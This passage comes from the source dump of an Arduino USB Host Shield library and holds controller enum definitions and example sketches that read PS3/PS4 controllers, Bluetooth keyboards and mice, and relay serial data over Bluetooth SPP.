PS4 controllers buttons - SHARE and OPTIONS are present instead of SELECT and START */ SHARE = 4, OPTIONS = 5, TOUCHPAD = 17, /**@}*/ /**@{*/ /** Xbox buttons */ BACK = 4, X = 14, Y = 15, XBOX = 16, SYNC = 17, BLACK = 8, // Available on the original Xbox controller WHITE = 9, // Available on the original Xbox controller /**@}*/ /** PS Buzz controllers */ RED = 0, YELLOW = 1, GREEN = 2, ORANGE = 3, BLUE = 4, /**@}*/ }; /** Joysticks on the PS3 and Xbox controllers. */ enum AnalogHatEnum { /** Left joystick x-axis */ LeftHatX = 0, /** Left joystick y-axis */ LeftHatY = 1, /** Right joystick x-axis */ RightHatX = 2, /** Right joystick y-axis */ RightHatY = 3, }; /** * Sensors inside the Sixaxis Dualshock 3, Move controller and PS4 controller. * Note: that the location is shifted 9 when it's connected via USB on the PS3 controller. */ enum SensorEnum { /** Accelerometer values */ aX = 50, aY = 52, aZ = 54, /** Gyro z-axis */ gZ = 56, gX, gY, // These are not available on the PS3 controller /** Accelerometer x-axis */ aXmove = 28, /** Accelerometer z-axis */ aZmove = 30, /** Accelerometer y-axis */ aYmove = 32, /** Gyro x-axis */ gXmove = 40, /** Gyro z-axis */ gZmove = 42, /** Gyro y-axis */ gYmove = 44, /** Temperature sensor */ tempMove = 46, /** Magnetometer x-axis */ mXmove = 47, /** Magnetometer z-axis */ mZmove = 49, /** Magnetometer y-axis */ mYmove = 50, }; /** Used to get the angle calculated using the PS3 controller and PS4 controller. */ enum AngleEnum { Pitch = 0x01, Roll = 0x02, }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/BTHID.ino ================================================ /* Example sketch for the HID Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include #include "KeyboardParser.h" #include "MouseParser.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ // This will start an inquiry and then pair with your device - you only have to do this once // If you are using a Bluetooth keyboard, then you should type in the password on the keypad and then press enter BTHID bthid(&Btd, PAIR, "0000"); // After that you can simply create the instance like so and then press any button on the device //BTHID hid(&Btd); KbdRptParser keyboardPrs; MouseRptParser mousePrs; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // Halt } bthid.SetReportParser(KEYBOARD_PARSER_ID, &keyboardPrs); bthid.SetReportParser(MOUSE_PARSER_ID, &mousePrs); // If "Boot Protocol Mode" does not work, then try "Report Protocol Mode" // If that does not work either, then uncomment PRINTREPORT in BTHID.cpp to see the raw report bthid.setProtocolMode(USB_HID_BOOT_PROTOCOL); // Boot Protocol Mode //bthid.setProtocolMode(HID_RPT_PROTOCOL); // Report Protocol Mode Serial.print(F("\r\nHID Bluetooth Library Started")); } void loop() { Usb.Task(); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/KeyboardParser.h ================================================ #ifndef __kbdrptparser_h_ #define __kbdrptparser_h_ class KbdRptParser : public KeyboardReportParser { protected: virtual uint8_t HandleLockingKeys(USBHID *hid, uint8_t key); virtual void OnControlKeysChanged(uint8_t before, uint8_t after); virtual void OnKeyDown(uint8_t mod, uint8_t key); virtual void OnKeyUp(uint8_t mod, uint8_t key); virtual void OnKeyPressed(uint8_t key); private: void PrintKey(uint8_t mod, uint8_t key); }; uint8_t KbdRptParser::HandleLockingKeys(USBHID *hid, uint8_t key) { uint8_t old_keys = kbdLockingKeys.bLeds; switch (key) { case UHS_HID_BOOT_KEY_NUM_LOCK: Serial.println(F("Num lock")); kbdLockingKeys.kbdLeds.bmNumLock = ~kbdLockingKeys.kbdLeds.bmNumLock; break; case UHS_HID_BOOT_KEY_CAPS_LOCK: Serial.println(F("Caps lock")); kbdLockingKeys.kbdLeds.bmCapsLock = ~kbdLockingKeys.kbdLeds.bmCapsLock; break; case UHS_HID_BOOT_KEY_SCROLL_LOCK: Serial.println(F("Scroll lock")); kbdLockingKeys.kbdLeds.bmScrollLock = ~kbdLockingKeys.kbdLeds.bmScrollLock; break; } if (old_keys != kbdLockingKeys.bLeds && hid) { BTHID *pBTHID = reinterpret_cast (hid); // A cast the other way around is done in BTHID.cpp pBTHID->setLeds(kbdLockingKeys.bLeds); // Update the LEDs on the keyboard } return 0; }; void KbdRptParser::PrintKey(uint8_t m, uint8_t key) { MODIFIERKEYS mod; *((uint8_t*)&mod) = m; Serial.print((mod.bmLeftCtrl == 1) ? F("C") : F(" ")); Serial.print((mod.bmLeftShift == 1) ? F("S") : F(" ")); Serial.print((mod.bmLeftAlt == 1) ? F("A") : F(" ")); Serial.print((mod.bmLeftGUI == 1) ? F("G") : F(" ")); Serial.print(F(" >")); PrintHex(key, 0x80); Serial.print(F("< ")); Serial.print((mod.bmRightCtrl == 1) ? F("C") : F(" ")); Serial.print((mod.bmRightShift == 1) ? F("S") : F(" ")); Serial.print((mod.bmRightAlt == 1) ? F("A") : F(" ")); Serial.println((mod.bmRightGUI == 1) ? F("G") : F(" ")); }; void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { Serial.print(F("DN ")); PrintKey(mod, key); uint8_t c = OemToAscii(mod, key); if (c) OnKeyPressed(c); }; void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) { MODIFIERKEYS beforeMod; *((uint8_t*)&beforeMod) = before; MODIFIERKEYS afterMod; *((uint8_t*)&afterMod) = after; if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) Serial.println(F("LeftCtrl changed")); if (beforeMod.bmLeftShift != afterMod.bmLeftShift) Serial.println(F("LeftShift changed")); if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) Serial.println(F("LeftAlt changed")); if (beforeMod.bmLeftGUI != afterMod.bmLeftGUI) Serial.println(F("LeftGUI changed")); if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) Serial.println(F("RightCtrl changed")); if (beforeMod.bmRightShift != afterMod.bmRightShift) Serial.println(F("RightShift changed")); if (beforeMod.bmRightAlt != afterMod.bmRightAlt) Serial.println(F("RightAlt changed")); if (beforeMod.bmRightGUI != afterMod.bmRightGUI) Serial.println(F("RightGUI changed")); }; void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) { Serial.print(F("UP ")); PrintKey(mod, key); }; void KbdRptParser::OnKeyPressed(uint8_t key) { Serial.print(F("ASCII: ")); Serial.println((char)key); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/BTHID/MouseParser.h ================================================ #ifndef __mouserptparser_h__ #define __mouserptparser_h__ class MouseRptParser : public MouseReportParser { protected: virtual void OnMouseMove(MOUSEINFO *mi); virtual void OnLeftButtonUp(MOUSEINFO *mi); virtual void OnLeftButtonDown(MOUSEINFO *mi); virtual void OnRightButtonUp(MOUSEINFO *mi); virtual void OnRightButtonDown(MOUSEINFO *mi); virtual void OnMiddleButtonUp(MOUSEINFO *mi); virtual void OnMiddleButtonDown(MOUSEINFO *mi); }; void MouseRptParser::OnMouseMove(MOUSEINFO *mi) { Serial.print(F("dx=")); Serial.print(mi->dX, DEC); Serial.print(F(" dy=")); Serial.println(mi->dY, DEC); }; void MouseRptParser::OnLeftButtonUp(MOUSEINFO *mi) { Serial.println(F("L Butt Up")); }; void MouseRptParser::OnLeftButtonDown(MOUSEINFO *mi) { Serial.println(F("L Butt Dn")); }; void MouseRptParser::OnRightButtonUp(MOUSEINFO *mi) { Serial.println(F("R Butt Up")); }; void MouseRptParser::OnRightButtonDown(MOUSEINFO *mi) { Serial.println(F("R Butt Dn")); }; void MouseRptParser::OnMiddleButtonUp(MOUSEINFO *mi) { Serial.println(F("M Butt Up")); }; void MouseRptParser::OnMiddleButtonDown(MOUSEINFO *mi) { Serial.println(F("M Butt Dn")); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3BT/PS3BT.ino ================================================ /* Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ PS3BT PS3(&Btd); // This will just create the instance //PS3BT PS3(&Btd, 0x00, 0x15, 0x83, 0x3D, 0x0A, 0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch bool printTemperature, printAngle; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nPS3 Bluetooth Library Started")); } void loop() { Usb.Task(); if (PS3.PS3Connected || PS3.PS3NavigationConnected) { if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(PS3.getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(PS3.getAnalogHat(LeftHatY)); if (PS3.PS3Connected) { // The Navigation controller only have one joystick Serial.print(F("\tRightHatX: ")); Serial.print(PS3.getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(PS3.getAnalogHat(RightHatY)); } } // Analog button values can be read from almost all buttons if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) { Serial.print(F("\r\nL2: ")); Serial.print(PS3.getAnalogButton(L2)); if (PS3.PS3Connected) { Serial.print(F("\tR2: ")); Serial.print(PS3.getAnalogButton(R2)); } } if (PS3.getButtonClick(PS)) { Serial.print(F("\r\nPS")); PS3.disconnect(); } else { if (PS3.getButtonClick(TRIANGLE)) { Serial.print(F("\r\nTraingle")); PS3.setRumbleOn(RumbleLow); } if (PS3.getButtonClick(CIRCLE)) { Serial.print(F("\r\nCircle")); PS3.setRumbleOn(RumbleHigh); } if (PS3.getButtonClick(CROSS)) Serial.print(F("\r\nCross")); if (PS3.getButtonClick(SQUARE)) Serial.print(F("\r\nSquare")); if (PS3.getButtonClick(UP)) { Serial.print(F("\r\nUp")); if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED4); } } if (PS3.getButtonClick(RIGHT)) { Serial.print(F("\r\nRight")); if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED1); } } if (PS3.getButtonClick(DOWN)) { Serial.print(F("\r\nDown")); if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED2); } } if (PS3.getButtonClick(LEFT)) { Serial.print(F("\r\nLeft")); if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED3); } } if (PS3.getButtonClick(L1)) Serial.print(F("\r\nL1")); if (PS3.getButtonClick(L3)) Serial.print(F("\r\nL3")); if (PS3.getButtonClick(R1)) Serial.print(F("\r\nR1")); if (PS3.getButtonClick(R3)) Serial.print(F("\r\nR3")); if (PS3.getButtonClick(SELECT)) { Serial.print(F("\r\nSelect - ")); PS3.printStatusString(); } if (PS3.getButtonClick(START)) { Serial.print(F("\r\nStart")); printAngle = !printAngle; } } #if 0 // Set this to 1 in order to see the angle of the controller if (printAngle) { Serial.print(F("\r\nPitch: ")); Serial.print(PS3.getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS3.getAngle(Roll)); } #endif } #if 0 // Set this to 1 in order to enable support for the Playstation Move controller else if (PS3.PS3MoveConnected) { if (PS3.getAnalogButton(T)) { Serial.print(F("\r\nT: ")); Serial.print(PS3.getAnalogButton(T)); } if (PS3.getButtonClick(PS)) { Serial.print(F("\r\nPS")); PS3.disconnect(); } else { if (PS3.getButtonClick(SELECT)) { Serial.print(F("\r\nSelect")); printTemperature = !printTemperature; } if (PS3.getButtonClick(START)) { Serial.print(F("\r\nStart")); printAngle = !printAngle; } if (PS3.getButtonClick(TRIANGLE)) { Serial.print(F("\r\nTriangle")); PS3.moveSetBulb(Red); } if (PS3.getButtonClick(CIRCLE)) { Serial.print(F("\r\nCircle")); PS3.moveSetBulb(Green); } if (PS3.getButtonClick(SQUARE)) { Serial.print(F("\r\nSquare")); PS3.moveSetBulb(Blue); } if (PS3.getButtonClick(CROSS)) { Serial.print(F("\r\nCross")); PS3.moveSetBulb(Yellow); } if (PS3.getButtonClick(MOVE)) { PS3.moveSetBulb(Off); Serial.print(F("\r\nMove")); Serial.print(F(" - ")); PS3.printStatusString(); } } if (printAngle) { Serial.print(F("\r\nPitch: ")); Serial.print(PS3.getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS3.getAngle(Roll)); } else if (printTemperature) { Serial.print(F("\r\nTemperature: ")); Serial.print(PS3.getTemperature()); } } #endif } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3Multi/PS3Multi.ino ================================================ /* Example sketch for the PS3 Bluetooth library - developed by Kristian Lauszus This example show how one can use multiple controllers with the library For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so PS3BT *PS3[2]; // We will use this pointer to store the two instance, you can easily make it larger if you like, but it will use a lot of RAM! const uint8_t length = sizeof(PS3) / sizeof(PS3[0]); // Get the lenght of the array bool printAngle[length]; bool oldControllerState[length]; void setup() { for (uint8_t i = 0; i < length; i++) { PS3[i] = new PS3BT(&Btd); // Create the instances PS3[i]->attachOnInit(onInit); // onInit() is called upon a new connection - you can call the function whatever you like } Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nPS3 Bluetooth Library Started")); } void loop() { Usb.Task(); for (uint8_t i = 0; i < length; i++) { if (PS3[i]->PS3Connected || PS3[i]->PS3NavigationConnected) { if (PS3[i]->getAnalogHat(LeftHatX) > 137 || PS3[i]->getAnalogHat(LeftHatX) < 117 || PS3[i]->getAnalogHat(LeftHatY) > 137 || PS3[i]->getAnalogHat(LeftHatY) < 117 || PS3[i]->getAnalogHat(RightHatX) > 137 || PS3[i]->getAnalogHat(RightHatX) < 117 || PS3[i]->getAnalogHat(RightHatY) > 137 || PS3[i]->getAnalogHat(RightHatY) < 117) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(PS3[i]->getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(PS3[i]->getAnalogHat(LeftHatY)); if (PS3[i]->PS3Connected) { // The Navigation controller only have one joystick Serial.print(F("\tRightHatX: ")); Serial.print(PS3[i]->getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(PS3[i]->getAnalogHat(RightHatY)); } } //Analog button values can be read from almost all buttons if (PS3[i]->getAnalogButton(L2) || PS3[i]->getAnalogButton(R2)) { Serial.print(F("\r\nL2: ")); Serial.print(PS3[i]->getAnalogButton(L2)); if (PS3[i]->PS3Connected) { Serial.print(F("\tR2: ")); Serial.print(PS3[i]->getAnalogButton(R2)); } } if (PS3[i]->getButtonClick(PS)) { Serial.print(F("\r\nPS")); PS3[i]->disconnect(); oldControllerState[i] = false; // Reset value } else { if (PS3[i]->getButtonClick(TRIANGLE)) Serial.print(F("\r\nTraingle")); if (PS3[i]->getButtonClick(CIRCLE)) Serial.print(F("\r\nCircle")); if (PS3[i]->getButtonClick(CROSS)) Serial.print(F("\r\nCross")); if (PS3[i]->getButtonClick(SQUARE)) Serial.print(F("\r\nSquare")); if (PS3[i]->getButtonClick(UP)) { Serial.print(F("\r\nUp")); if (PS3[i]->PS3Connected) { PS3[i]->setLedOff(); PS3[i]->setLedOn(LED4); } } if (PS3[i]->getButtonClick(RIGHT)) { Serial.print(F("\r\nRight")); if (PS3[i]->PS3Connected) { PS3[i]->setLedOff(); PS3[i]->setLedOn(LED1); } } if (PS3[i]->getButtonClick(DOWN)) { Serial.print(F("\r\nDown")); if (PS3[i]->PS3Connected) { PS3[i]->setLedOff(); PS3[i]->setLedOn(LED2); } } if (PS3[i]->getButtonClick(LEFT)) { Serial.print(F("\r\nLeft")); if (PS3[i]->PS3Connected) { PS3[i]->setLedOff(); PS3[i]->setLedOn(LED3); } } if (PS3[i]->getButtonClick(L1)) Serial.print(F("\r\nL1")); if (PS3[i]->getButtonClick(L3)) Serial.print(F("\r\nL3")); if (PS3[i]->getButtonClick(R1)) Serial.print(F("\r\nR1")); if (PS3[i]->getButtonClick(R3)) Serial.print(F("\r\nR3")); if (PS3[i]->getButtonClick(SELECT)) { Serial.print(F("\r\nSelect - ")); PS3[i]->printStatusString(); } if (PS3[i]->getButtonClick(START)) { Serial.print(F("\r\nStart")); printAngle[i] = !printAngle[i]; } } if (printAngle[i]) { Serial.print(F("\r\nPitch: ")); Serial.print(PS3[i]->getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS3[i]->getAngle(Roll)); } } /* I have removed the PS3 Move code as an Uno will run out of RAM if it's included */ //else if(PS3[i]->PS3MoveConnected) { } } void onInit() { for (uint8_t i = 0; i < length; i++) { if ((PS3[i]->PS3Connected || PS3[i]->PS3NavigationConnected) && !oldControllerState[i]) { oldControllerState[i] = true; // Used to check which is the new controller PS3[i]->setLedOn((LEDEnum)(i + 1)); // Cast directly to LEDEnum - see: "controllerEnums.h" } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS3SPP/PS3SPP.ino ================================================ /* Example sketch for the Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com This example show how one can combine all the difference Bluetooth services in one single code. Note: You will need a Arduino Mega 1280/2560 to run this sketch, as a normal Arduino (Uno, Duemilanove etc.) doesn't have enough SRAM and FLASH */ #include #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instances of the bluetooth services in two ways */ SPP SerialBT(&Btd); // This will set the name to the defaults: "Arduino" and the pin to "0000" //SPP SerialBTBT(&Btd,"Lauszus's Arduino","0000"); // You can also set the name and pin like so PS3BT PS3(&Btd); // This will just create the instance //PS3BT PS3(&Btd, 0x00, 0x15, 0x83, 0x3D, 0x0A, 0x57); // This will also store the bluetooth address - this can be obtained from the dongle when running the sketch bool firstMessage = true; String output = ""; // We will store the data in this string void setup() { Serial.begin(115200); // This wil lprint the debugging from the libraries #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nBluetooth Library Started")); output.reserve(200); // Reserve 200 bytes for the output string } void loop() { Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well if (SerialBT.connected) { if (firstMessage) { firstMessage = false; SerialBT.println(F("Hello from Arduino")); // Send welcome message } if (Serial.available()) SerialBT.write(Serial.read()); if (SerialBT.available()) Serial.write(SerialBT.read()); } else firstMessage = true; if (PS3.PS3Connected || PS3.PS3NavigationConnected) { output = ""; // Reset output string if (PS3.getAnalogHat(LeftHatX) > 137 || PS3.getAnalogHat(LeftHatX) < 117 || PS3.getAnalogHat(LeftHatY) > 137 || PS3.getAnalogHat(LeftHatY) < 117 || PS3.getAnalogHat(RightHatX) > 137 || PS3.getAnalogHat(RightHatX) < 117 || PS3.getAnalogHat(RightHatY) > 137 || PS3.getAnalogHat(RightHatY) < 117) { output += "LeftHatX: "; output += PS3.getAnalogHat(LeftHatX); output += "\tLeftHatY: "; output += PS3.getAnalogHat(LeftHatY); if (PS3.PS3Connected) { // The Navigation controller only have one joystick output += "\tRightHatX: "; output += PS3.getAnalogHat(RightHatX); output += "\tRightHatY: "; output += PS3.getAnalogHat(RightHatY); } } //Analog button values can be read from almost all buttons if (PS3.getAnalogButton(L2) || PS3.getAnalogButton(R2)) { if (output != "") output += "\r\n"; output += "L2: "; output += PS3.getAnalogButton(L2); if (PS3.PS3Connected) { output += "\tR2: "; output += PS3.getAnalogButton(R2); } } if (output != "") { Serial.println(output); if (SerialBT.connected) SerialBT.println(output); output = ""; // Reset output string } if (PS3.getButtonClick(PS)) { output += " - PS"; PS3.disconnect(); } else { if (PS3.getButtonClick(TRIANGLE)) output += " - Traingle"; if (PS3.getButtonClick(CIRCLE)) output += " - Circle"; if (PS3.getButtonClick(CROSS)) output += " - Cross"; if (PS3.getButtonClick(SQUARE)) output += " - Square"; if (PS3.getButtonClick(UP)) { output += " - Up"; if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED4); } } if (PS3.getButtonClick(RIGHT)) { output += " - Right"; if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED1); } } if (PS3.getButtonClick(DOWN)) { output += " - Down"; if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED2); } } if (PS3.getButtonClick(LEFT)) { output += " - Left"; if (PS3.PS3Connected) { PS3.setLedOff(); PS3.setLedOn(LED3); } } if (PS3.getButtonClick(L1)) output += " - L1"; if (PS3.getButtonClick(L3)) output += " - L3"; if (PS3.getButtonClick(R1)) output += " - R1"; if (PS3.getButtonClick(R3)) output += " - R3"; if (PS3.getButtonClick(SELECT)) { output += " - Select"; } if (PS3.getButtonClick(START)) output += " - Start"; if (output != "") { String string = "PS3 Controller" + output; Serial.println(string); if (SerialBT.connected) SerialBT.println(string); } } delay(10); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/PS4BT/PS4BT.ino ================================================ /* Example sketch for the PS4 Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the PS4BT class in two ways */ // This will start an inquiry and then pair with the PS4 controller - you only have to do this once // You will need to hold down the PS and Share button at the same time, the PS4 controller will then start to blink rapidly indicating that it is in pairing mode PS4BT PS4(&Btd, PAIR); // After that you can simply create the instance like so and then press the PS button on the device //PS4BT PS4(&Btd); bool printAngle, printTouch; uint8_t oldL2Value, oldR2Value; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); // Halt } Serial.print(F("\r\nPS4 Bluetooth Library Started")); } void loop() { Usb.Task(); if (PS4.connected()) { if (PS4.getAnalogHat(LeftHatX) > 137 || PS4.getAnalogHat(LeftHatX) < 117 || PS4.getAnalogHat(LeftHatY) > 137 || PS4.getAnalogHat(LeftHatY) < 117 || PS4.getAnalogHat(RightHatX) > 137 || PS4.getAnalogHat(RightHatX) < 117 || PS4.getAnalogHat(RightHatY) > 137 || PS4.getAnalogHat(RightHatY) < 117) { Serial.print(F("\r\nLeftHatX: ")); Serial.print(PS4.getAnalogHat(LeftHatX)); Serial.print(F("\tLeftHatY: ")); Serial.print(PS4.getAnalogHat(LeftHatY)); Serial.print(F("\tRightHatX: ")); Serial.print(PS4.getAnalogHat(RightHatX)); Serial.print(F("\tRightHatY: ")); Serial.print(PS4.getAnalogHat(RightHatY)); } if (PS4.getAnalogButton(L2) || PS4.getAnalogButton(R2)) { // These are the only analog buttons on the PS4 controller Serial.print(F("\r\nL2: ")); Serial.print(PS4.getAnalogButton(L2)); Serial.print(F("\tR2: ")); Serial.print(PS4.getAnalogButton(R2)); } if (PS4.getAnalogButton(L2) != oldL2Value || PS4.getAnalogButton(R2) != oldR2Value) // Only write value if it's different PS4.setRumbleOn(PS4.getAnalogButton(L2), PS4.getAnalogButton(R2)); oldL2Value = PS4.getAnalogButton(L2); oldR2Value = PS4.getAnalogButton(R2); if (PS4.getButtonClick(PS)) { Serial.print(F("\r\nPS")); PS4.disconnect(); } else { if (PS4.getButtonClick(TRIANGLE)) { Serial.print(F("\r\nTraingle")); PS4.setRumbleOn(RumbleLow); } if (PS4.getButtonClick(CIRCLE)) { Serial.print(F("\r\nCircle")); PS4.setRumbleOn(RumbleHigh); } if (PS4.getButtonClick(CROSS)) { Serial.print(F("\r\nCross")); PS4.setLedFlash(10, 10); // Set it to blink rapidly } if (PS4.getButtonClick(SQUARE)) { Serial.print(F("\r\nSquare")); PS4.setLedFlash(0, 0); // Turn off blinking } if (PS4.getButtonClick(UP)) { Serial.print(F("\r\nUp")); PS4.setLed(Red); } if (PS4.getButtonClick(RIGHT)) { Serial.print(F("\r\nRight")); PS4.setLed(Blue); } if (PS4.getButtonClick(DOWN)) { Serial.print(F("\r\nDown")); PS4.setLed(Yellow); } if (PS4.getButtonClick(LEFT)) { Serial.print(F("\r\nLeft")); PS4.setLed(Green); } if (PS4.getButtonClick(L1)) Serial.print(F("\r\nL1")); if (PS4.getButtonClick(L3)) Serial.print(F("\r\nL3")); if (PS4.getButtonClick(R1)) Serial.print(F("\r\nR1")); if (PS4.getButtonClick(R3)) Serial.print(F("\r\nR3")); if (PS4.getButtonClick(SHARE)) Serial.print(F("\r\nShare")); if (PS4.getButtonClick(OPTIONS)) { Serial.print(F("\r\nOptions")); printAngle = !printAngle; } if (PS4.getButtonClick(TOUCHPAD)) { Serial.print(F("\r\nTouchpad")); printTouch = !printTouch; } if (printAngle) { // Print angle calculated using the accelerometer only Serial.print(F("\r\nPitch: ")); Serial.print(PS4.getAngle(Pitch)); Serial.print(F("\tRoll: ")); Serial.print(PS4.getAngle(Roll)); } if (printTouch) { // Print the x, y coordinates of the touchpad if (PS4.isTouching(0) || PS4.isTouching(1)) // Print newline and carriage return if any of the fingers are touching the touchpad Serial.print(F("\r\n")); for (uint8_t i = 0; i < 2; i++) { // The touchpad track two fingers if (PS4.isTouching(i)) { // Print the position of the finger if it is touching the touchpad Serial.print(F("X")); Serial.print(i + 1); Serial.print(F(": ")); Serial.print(PS4.getX(i)); Serial.print(F("\tY")); Serial.print(i + 1); Serial.print(F(": ")); Serial.print(PS4.getY(i)); Serial.print(F("\t")); } } } } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPP/SPP.ino ================================================ /* Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so /* You can create the instance of the class in two ways */ SPP SerialBT(&Btd); // This will set the name to the defaults: "Arduino" and the pin to "0000" //SPP SerialBT(&Btd, "Lauszus's Arduino", "1234"); // You can also set the name and pin like so bool firstMessage = true; void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { Serial.print(F("\r\nOSC did not start")); while (1); //halt } Serial.print(F("\r\nSPP Bluetooth Library Started")); } void loop() { Usb.Task(); // The SPP data is actually not send until this is called, one could call SerialBT.send() directly as well if (SerialBT.connected) { if (firstMessage) { firstMessage = false; SerialBT.println(F("Hello from Arduino")); // Send welcome message } if (Serial.available()) SerialBT.write(Serial.read()); if (SerialBT.available()) Serial.write(SerialBT.read()); } else firstMessage = true; } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/Bluetooth/SPPMulti/SPPMulti.ino ================================================ /* Example sketch for the RFCOMM/SPP Bluetooth library - developed by Kristian Lauszus For more information visit my blog: http://blog.tkjelectronics.dk/ or send me an e-mail: kristianl@tkjelectronics.com */ #include #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; //USBHub Hub1(&Usb); // Some dongles have a hub inside BTD Btd(&Usb); // You have to create the Bluetooth Dongle instance like so const uint8_t length = 2; // Set the number of instances here SPP *SerialBT[length]; // We will use this pointer to store the instances, you can easily make it larger if you like, but it will use a lot of RAM! bool firstMessage[length] = { true }; // Set all to true void setup() { for (uint8_t i = 0; i < length; i++) SerialBT[i] = new SPP(&Btd); // This will set the name to the default: "Arduino" and the pin to "0000" for all connections Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif if (Usb.Init() == -1) { 